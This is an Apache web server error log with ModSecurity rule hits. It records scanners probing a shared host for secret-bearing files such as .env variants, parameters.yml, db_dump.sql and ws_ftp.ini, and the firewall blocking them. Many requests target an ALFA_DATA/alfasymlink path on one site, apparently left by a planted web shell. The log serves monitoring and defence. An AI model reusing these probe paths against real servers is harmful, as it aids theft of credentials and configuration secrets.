[Sun Oct 25 00:17:53.001466 2026] [security2:error] [pid 2762205:tid 2762205] [client 93.123.109.214:45060] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.uat"] [unique_id "at2C8EMrl7g_s-KR954lwQAAAEM"]
[Sun Oct 25 00:17:53.050950 2026] [security2:error] [pid 2762201:tid 2762201] [client 93.123.109.214:45468] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.dist"] [unique_id "at2C8B42l5C6tdkMUueIVwAAAD4"]
[Sun Oct 25 00:17:53.051244 2026] [security2:error] [pid 2762201:tid 2762201] [client 93.123.109.214:45468] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.dist"] [unique_id "at2C8B42l5C6tdkMUueIVwAAAD4"]
[Sun Oct 25 00:17:53.051699 2026] [security2:error] [pid 2762201:tid 2762201] [client 93.123.109.214:45468] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.dist"] [unique_id "at2C8B42l5C6tdkMUueIVwAAAD4"]
[Sun Oct 25 00:17:53.114070 2026] [security2:error] [pid 2762205:tid 2762205] [client 93.123.109.214:45060] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.uat"] [unique_id "at2C8EMrl7g_s-KR954lwQAAAEM"]
[Sun Oct 25 00:17:53.193776 2026] [security2:error] [pid 2762206:tid 2762206] [client 93.123.109.214:45888] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/ws_ftp.ini"] [unique_id "at2C8bqcD5iRlWFmMmQ7RgAAAEQ"]
[Sun Oct 25 00:17:53.194172 2026] [security2:error] [pid 2762206:tid 2762206] [client 93.123.109.214:45888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/ws_ftp.ini"] [unique_id "at2C8bqcD5iRlWFmMmQ7RgAAAEQ"]
[Sun Oct 25 00:17:53.194406 2026] [security2:error] [pid 2762206:tid 2762206] [client 93.123.109.214:45888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/ws_ftp.ini"] [unique_id "at2C8bqcD5iRlWFmMmQ7RgAAAEQ"]
[Sun Oct 25 00:17:53.201402 2026] [security2:error] [pid 2762205:tid 2762205] [client 93.123.109.214:45774] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/app/config/parameters.yml"] [unique_id "at2C8UMrl7g_s-KR954lwgAAAEM"]
[Sun Oct 25 00:17:53.204258 2026] [security2:error] [pid 2762205:tid 2762205] [client 93.123.109.214:45774] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/app/config/parameters.yml"] [unique_id "at2C8UMrl7g_s-KR954lwgAAAEM"]
[Sun Oct 25 00:17:53.204459 2026] [security2:error] [pid 2762205:tid 2762205] [client 93.123.109.214:45774] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/app/config/parameters.yml"] [unique_id "at2C8UMrl7g_s-KR954lwgAAAEM"]
[Sun Oct 25 00:17:53.247602 2026] [security2:error] [pid 2762206:tid 2762206] [client 93.123.109.214:45388] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/db_dump.sql"] [unique_id "at2C8bqcD5iRlWFmMmQ7RwAAAEQ"]
[Sun Oct 25 00:17:53.248022 2026] [security2:error] [pid 2762206:tid 2762206] [client 93.123.109.214:45388] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/db_dump.sql"] [unique_id "at2C8bqcD5iRlWFmMmQ7RwAAAEQ"]
[Sun Oct 25 00:17:53.248314 2026] [security2:error] [pid 2762206:tid 2762206] [client 93.123.109.214:45388] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/db_dump.sql"] [unique_id "at2C8bqcD5iRlWFmMmQ7RwAAAEQ"]
[Sun Oct 25 00:17:53.252501 2026] [security2:error] [pid 2762200:tid 2762200] [client 93.123.109.214:45442] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/composer.json"] [unique_id "at2C8XVMUkRygZsM_BvfUwAAAD0"]
[Sun Oct 25 00:17:53.252686 2026] [security2:error] [pid 2762200:tid 2762200] [client 93.123.109.214:45442] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/composer.json"] [unique_id "at2C8XVMUkRygZsM_BvfUwAAAD0"]
[Sun Oct 25 00:17:53.252933 2026] [security2:error] [pid 2762200:tid 2762200] [client 93.123.109.214:45442] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/composer.json"] [unique_id "at2C8XVMUkRygZsM_BvfUwAAAD0"]
[Sun Oct 25 00:17:58.182829 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 100.28.204.82:34455] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:18:02.187866 2026] [ssl:error] [pid 2762202:tid 2762202] (5)Input/output error: [client 34.231.45.47:8311] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:18:10.318344 2026] [ssl:error] [pid 2762158:tid 2762158] (70014)End of file found: [client 34.236.41.241:14742] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:18:18.186652 2026] [ssl:error] [pid 2762171:tid 2762171] (70014)End of file found: [client 100.28.49.152:54126] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:18:22.160543 2026] [ssl:error] [pid 2762174:tid 2762174] (70014)End of file found: [client 34.224.9.144:56958] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:18:26.276208 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 98.83.72.38:8160] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:18:34.264182 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 3.216.13.10:22938] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:18:46.320211 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 54.80.73.122:28929] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:18:50.169095 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 54.166.126.132:4318] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:18:59.512181 2026] [security2:error] [pid 2759096:tid 2759096] [client 162.62.231.139:39110] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "at2DM2TNY6y0aXZ6joCahwAAADk"]
[Sun Oct 25 00:18:59.513153 2026] [authz_core:error] [pid 2759096:tid 2759096] [client 162.62.231.139:39110] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 00:19:10.195559 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 34.225.24.180:6389] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:19:20.646424 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 185.191.171.18:29714] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pde_opener/hwcache_align
[Sun Oct 25 00:19:22.258553 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 3.210.114.189:37085] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:01/PNP0303:00/physical_node1/driver/unbind
[Sun Oct 25 00:19:38.160225 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 52.21.62.139:59849] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:19:42.145768 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 52.205.141.124:59581] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:19:50.165814 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 98.82.66.172:27158] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:19:54.152275 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 54.84.147.79:35278] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:19:58.275891 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 44.206.93.215:50984] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:20:02.277887 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 3.210.29.96:6876] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:20:26.181796 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 52.0.63.151:46236] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/virtio-pci/uevent
[Sun Oct 25 00:20:38.171598 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 107.20.255.194:60784] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:20:42.386209 2026] [ssl:error] [pid 2762149:tid 2762149] (5)Input/output error: [client 3.213.85.234:30821] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:20:46.158228 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.45.194.165:61394] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:20:54.177101 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 18.205.213.231:44993] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:20:58.168524 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 3.93.211.16:55775] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:21:02.163496 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 44.212.145.46:64118] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:21:06.150393 2026] [ssl:error] [pid 2762199:tid 2762199] (5)Input/output error: [client 3.214.176.44:6475] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:21:10.285927 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 54.80.73.122:56283] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:21:30.284662 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 52.2.83.227:45077] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:21:50.288452 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 184.73.195.18:57903] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:21:54.167530 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 23.23.213.182:25553] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:21:57.200670 2026] [core:error] [pid 2759074:tid 2759074] (13)Permission denied: [client 185.191.171.14:20478] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/blkdev_ioc/validate
[Sun Oct 25 00:21:58.308333 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 52.7.33.248:39660] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:21:59.563129 2026] [security2:error] [pid 2759096:tid 2759096] [client 85.208.96.208:39442] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/network-throughput/tuned.conf"] [unique_id "at2D52TNY6y0aXZ6joCajgAAADk"]
[Sun Oct 25 00:21:59.563503 2026] [security2:error] [pid 2759096:tid 2759096] [client 85.208.96.208:39442] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/network-throughput/tuned.conf"] [unique_id "at2D52TNY6y0aXZ6joCajgAAADk"]
[Sun Oct 25 00:21:59.563957 2026] [security2:error] [pid 2759096:tid 2759096] [client 85.208.96.208:39442] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/network-throughput/tuned.conf"] [unique_id "at2D52TNY6y0aXZ6joCajgAAADk"]
[Sun Oct 25 00:22:02.155450 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 34.195.248.30:12651] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:22:14.154512 2026] [ssl:error] [pid 2759074:tid 2759074] (5)Input/output error: [client 50.17.193.48:52464] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:22:34.192896 2026] [security2:error] [pid 2762149:tid 2762149] [client 54.197.178.107:59528] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/power/"] [unique_id "at2ECjuLxR3FUbX6v9XEDAAAAAc"]
[Sun Oct 25 00:22:34.192989 2026] [security2:error] [pid 2762149:tid 2762149] [client 54.197.178.107:59528] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/power/"] [unique_id "at2ECjuLxR3FUbX6v9XEDAAAAAc"]
[Sun Oct 25 00:22:42.191282 2026] [ssl:error] [pid 2762190:tid 2762190] (5)Input/output error: [client 18.211.148.239:21927] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:22:46.203784 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 44.196.118.6:55649] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:22:50.143978 2026] [ssl:error] [pid 2759074:tid 2759074] (5)Input/output error: [client 54.167.32.123:43740] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:22:54.158882 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 52.204.71.8:54793] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:22:58.158855 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 44.213.202.136:9834] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:23:14.145663 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 54.204.62.163:41616] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:23:22.155399 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 52.204.71.8:51410] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:23:26.206321 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 54.90.8.255:28701] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:23:31.505999 2026] [core:error] [pid 2762149:tid 2762149] (13)Permission denied: [client 185.191.171.13:24922] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/aliases
[Sun Oct 25 00:23:34.144992 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.205.141.124:23199] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:23:38.139377 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 184.73.47.24:2557] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:23:39.949785 2026] [core:error] [pid 2762188:tid 2762188] (13)Permission denied: [client 185.191.171.7:44592] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-512/poison
[Sun Oct 25 00:23:42.139236 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 184.73.195.18:4578] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/firmware_node/subsystem/drivers/tpm_crb/bind
[Sun Oct 25 00:23:46.332549 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 50.19.79.213:39462] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:23:54.147955 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 52.200.93.170:21056] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:23:58.150980 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 54.85.126.86:3616] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/firmware_node/physical_node/driver/unbind
[Sun Oct 25 00:24:02.154326 2026] [core:error] [pid 2762190:tid 2762190] (13)Permission denied: [client 52.207.47.227:49049] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/devices/0000:00:03.0/driver/0000:00:04.0/resource4
[Sun Oct 25 00:24:10.173024 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 44.217.255.167:28162] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:24:18.224630 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 44.221.37.41:40468] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:24:22.291336 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 44.221.180.179:55880] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:24:42.139901 2026] [core:error] [pid 2759074:tid 2759074] (13)Permission denied: [client 54.157.99.244:30360] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/drivers/serial/bind
